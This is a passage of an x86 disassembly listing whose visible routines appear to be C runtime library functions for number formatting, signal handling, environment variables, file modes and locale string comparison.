[ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DB57C mov eax, offset dword_4DB57C jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DB578 mov eax, offset dword_4DB578 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DB580 mov eax, offset dword_4DB580 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DB574 mov eax, offset dword_4DB574 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DB350 and dword_4DB350, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43C94C mov dword_43C94C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43C940 mov ecx, dword_43C944 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43C8D0h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43C94C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DB350, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43C94C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8CC, edx push esi mov eax, offset dword_43C8C8 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DC910, 0 push ebx push esi mov esi, dword_4DB2A0 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB2A8, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB2A0 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB278, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB278, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43CDC8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43CF28 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DC6C4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DC8E4 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB2A8 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CF0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DB588, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427940 push eax push edi push eax push ebx push ebx nop call near ptr 25D0000h test eax, eax jz short loc_425F53 mov dword_4DB588, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CAE2C push eax push edi push eax push ebx push ebx nop call near ptr 25D07F5h test eax, eax jz loc_42616C mov dword_4DB588, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DB588 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25D07F5h nop jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call near ptr 28A0000h nop test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2800000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2800000h test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25D0000h nop jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB2A0 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB2A4 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB2A0, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB2A8, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A0, eax jz short loc_42620F mov [eax], edi cmp dword_4DB2A8, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A8, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB2A0 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB2A0, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop 